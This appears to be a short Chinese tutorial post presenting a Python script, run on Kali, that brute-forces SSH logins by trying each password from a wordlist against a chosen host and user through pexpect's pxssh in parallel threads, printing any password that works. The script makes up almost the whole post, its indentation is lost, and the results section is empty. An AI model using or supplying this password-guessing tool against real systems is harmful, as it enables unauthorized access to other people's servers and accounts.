利用Pxssh是pexpect库的ssh专用脚本
环境:kali
代码:
'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *
Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+]Password Found:"+password)
Found = True
except Exception as e:
pass
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')
parser.add_option('-H', dest='host', type='string', help='target host')
parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
parser.add_option('-u', dest='user', type='string', help='login username')
(options,args) = parser.parse_args()
host = options.host
passwdfile = options.passwdfile
user = options.user
if host==None or passwdfile==None or user==None:
print(parser.usage)
exit(0)
mn = open(passwdfile,'r')
lines = mn.readlines()
for line in lines:
with connection_lock:
password = line.strip('\n')
print('[-] Test:'+str(password))
t = Thread(target=connect,args=(host, user, password))
t.start()
if __name__ == '__main__':
main()
执行结果: